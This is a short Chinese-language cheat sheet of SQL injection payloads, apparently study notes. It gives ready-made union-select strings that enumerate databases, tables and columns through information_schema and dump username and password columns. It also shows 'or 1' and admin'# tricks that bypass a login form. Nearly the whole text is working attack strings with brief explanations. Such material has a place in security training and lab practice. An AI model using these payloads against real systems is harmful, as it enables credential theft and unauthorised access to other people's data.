文章目录
0、常用查询
数据库名
# 查询所有数据库
?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23
表名
# 查询某一个数据库的所有表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema='数据库名' %23
# 用limit 来一个一个找
?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23
# 直接用group_concat来找出所有表名,查询当前数据库
?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
表结构
?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名' %23
某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x
。
数据全查询
?id=0' union select 1,group_concat(username),group_concat(password) from users %23
1、or+limit全局查询
or 1
可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容
?id=1' or 1 limit 0,1 %23
在post登录情景下,如果知道用户名admin,则可以用admin'#
来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 #
,也可以实现查询d'